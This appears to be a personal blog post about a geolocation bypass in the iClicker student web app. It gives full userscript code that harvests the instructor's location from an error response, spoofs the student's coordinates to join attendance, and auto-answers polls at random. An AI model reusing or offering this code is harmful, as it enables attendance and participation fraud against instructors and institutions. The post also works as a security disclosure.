lucaslowe.com

iClicker Authorization Bypass Vulnerability

A video demonstration of the browser userscript in action. Left is what the instructor sees, right is what the student sees. Notice how there is no interaction with the browser, yet it is still joining the class and answering the questions.

Sometimes you just want to know how things work. Other times, you really don’t want to walk all the way to a lecture hall just to click a button on your phone. My deep dive into the iClicker student app started with a bit of both. I wanted to see if I could outsmart the geolocation checks that ensure you’re actually sitting in class.

What I found was a surprisingly simple vulnerability that turned the entire security model on its head (if there even was one to begin with).

⚠️ Warning: The code in this post is for demonstration purposes only; it likely does not work anymore (iClicker has since upgraded to a more modern tech stack).

What is iClicker?

iClicker is a classroom response system (CRS) popular with universities and schools. It is used by instructors to “boost” student engagement through real-time polling, quizzes, attendance tracking, and geolocation authorization. It is “thought” to promote active learning by providing instant feedback, helping identify misconceptions, and facilitating collaborative discussions.

In my super humble personal opinion, I believe that iClicker usually achieves none of this, due to the fact that professors use the platform to get students into their classroom, only utilizing the polling and geolocation auth feature. There is nothing inherently wrong with that, but it gets really annoying when you are trying to learn and take notes in class, but you have university-sanctioned quick time events in class that you have to answer (like the Tomb Raider video games). You might think I am joking around, but I missed my attendance grade for a class session that I WAS IN because I simply didn’t switch tabs and answer a poll question fast enough. That specific professor counted attendance as >75% polling questions answered. In my case, I had answered 2 out of 3 questions, meaning I had roughly 66% questions answered. Ridiculous!

Also, this is unrelated to the script I wrote, but iClicker has two ways a student can participate: an iClicker remote, or the iClicker Student app. The iClicker Student web and mobile app are free (at least they are now, I recently read that they used to cost $16 for 6 months and $50 for 4 years, SOO stupid). The remotes definitely aren’t free and they are proprietary! Before this free web app, students would have to cough up anywhere from $50 to $60 for a remote to be counted in attendance/participation, even after paying tuition!

The Discovery

One day, I was in class and could not for the life of me join the iClicker session, meaning that I was going to miss my attendance grade for the day. Turned out that I just needed to use a different browser because the Google Maps SDK they were using is a little buggy on that specific browser. That is when I saw something interesting: it shows you the class building on a map when your location isn’t close enough to the class. I was very intrigued how that worked!

I started by looking at the network traffic when joining a class session. The app sends your location to the server to verify you’re within range. Naturally, if you’re too far away, it rejects you. But here’s the kicker: in the rejection response, the server was sending back the exact coordinates of the class.

It was literally handing me the keys to the castle.

In theory, all I needed to do was catch that response, grab the instructor’s coordinates, and then tell the app, “Oh, my bad, I am right here at [Instructor’s Latitude, Instructor’s Longitude].”

Scripting the Bypass

At the time I was doing my research, the iClicker web app was built on an old version of AngularJS, which meant that an angular object was exposed globally. This is a playground for anyone looking to tinker, as it allows easy access to the inner workings of web applications built with AngularJS. I wrote a JavaScript userscript, designed to be run with a browser extension like Tampermonkey or Violentmonkey, to automate the entire process: spoofing the location, joining the class, and even answering questions. It wasn’t very easy, I had to read through and parse a lot of minified code manually, which isn’t for the faint of heart.

Spoofing the Location

First, I needed to get those golden coordinates. I set up a function to fire off a join request with dummy data. When it inevitably failed, I scraped the instructor’s location from the error response and saved it to local storage.

 1const setClassLocation = async () => {
 2    const course_id = sessionStorage.getItem("course_id")
 3    if (!this.localStorage.getItem(course_id) ) {
 4		// Send dummy data to provoke a response containing the real location
 5		const dummyGeoData = {geo: {"accuracy": 15.849,"lat": 40.2081392,"lon": -85.4085399}, publicIP: null, auto: false, id: course_id}
 6
 7		console.log('Getting instructor geo location data')
 8		angular.element(document.body).injector().invoke(["ExpressRouterService", function(i) {
 9			i.post("/api/courses/" + course_id + "/attendance/join", dummyGeoData)
10			.success(function() {return {}})
11			.error(function(data) {return data}) // The error contains the data we want
12			.then((data) => {
13				const { lat, lon } = data.data.instructorLocation
14				localStorage.setItem(course_id, `${lat}:${lon}`)
15				console.log('Set instructor geo location data')
16			})
17		}])
18    }
19}

Injecting into AngularJS

With the coordinates in hand, I needed to hijack the app’s internal logic. By hooking into AngularJS’s dependency injector, I could override the joinSession service.

Here is the setup and injection logic. Note the waitForAngular function at the end. This ensures the script waits for the Angular app to fully load before attempting to inject our code.

 1const JOIN_SESSION_DELAY = 2000
 2const SEND_ANSWER_DELAY = 2000
 3const MCQ_CHOICES = ["a", "b", "c", "d", "e"]
 4
 5// Default state for the session
 6let sessionAvailability = {
 7    "activeSessionPresent": false,
 8    "attendanceActive": false,
 9    "pollActive": false,
10    "quizActive": false,
11    "courseHistoryNeedsRefresh": false,
12    "locationRequired": true,
13    "classSessionActive": true,
14    "focused": false,
15    "focusMode": null
16}
17
18const inject = () => {
19    angular.element(document.body).injector().invoke(
20		["$routeParams", "$rootScope", "Session", "appBus", "events", "joinSessionService", 
21		(routeParams, rootScope, session, appBus, events, joinSessionService) => {
22            // Subscribe to session updates to keep our local state in sync
23            appBus.subscribe((e) => sessionAvailability = e).to(events.courseScreen.sessionAvailabilityUpdated)
24
25			// Watch for poll questions and answer them automatically
26			rootScope.$watch(()=>session.currentPollingQuestion, ()=>{sendRandomAnswer(session.currentPollingQuestion)})
27			
28			// Auto-join when a session becomes active
29			rootScope.$watch(()=>sessionAvailability.activeSessionPresent, ()=>{
30				if(sessionAvailability.activeSessionPresent) 
31					setTimeout(()=>joinSessionService.joinSession(routeParams.id, sessionAvailability), JOIN_SESSION_DELAY)
32			})
33		}]
34	)
35
36    // Override the attendance join function to use our stored (correct) coordinates
37    angular.element(document.body).injector().invoke(["ExpressRouterService", "Courses", function(i, Courses) {
38        Courses.joinAttendanceSession = (e, t) => {
39            console.log('Posting student geo location data')
40
41            const [lat, lon] = localStorage.getItem(t).split(":")
42
43            e.geo.lat = lat
44            e.geo.lon = lon
45
46            return i.post("/api/courses/" + t + "/attendance/join", e)
47        }
48    }])
49}
50
51// Bootstrap: Wait for Angular to load before injecting
52const waitForAngular = () => {
53    const scope = angular.element(document.body).scope()
54    scope ? inject() : setTimeout(waitForAngular, 100)
55}
56
57waitForAngular()

The “Auto-Guesser”

Just for fun, I added a function to automatically answer multiple-choice questions. It wasn’t smart as it just picked a random letter, but it proved that even the participation part could be automated. With participation being kinda the core feature of this software, it was shocking how easy this was to implement! Note: most professors consider “participation” to be answering their iClicker poll questions; the answers don’t even have to be correct.

 1const sendRandomAnswer = (question) => {
 2    if ( question !== null ) {
 3        setTimeout(() => {
 4            const randChoice = MCQ_CHOICES[Math.floor(Math.random() * MCQ_CHOICES.length)]
 5            question.setAnswer(randChoice)
 6            // Visually select the answer in the UI
 7            document.getElementById(`multiple-choice-${randChoice}`).setAttribute("aria-pressed", true)
 8        }, SEND_ANSWER_DELAY)
 9    }
10}

Closing Thoughts

This project was a blast to work on.

While I never used this to skip too many classes (promise), it was a great practical lesson in how web applications work under the hood (and how to mess with them).

Resources I found that were helpful to me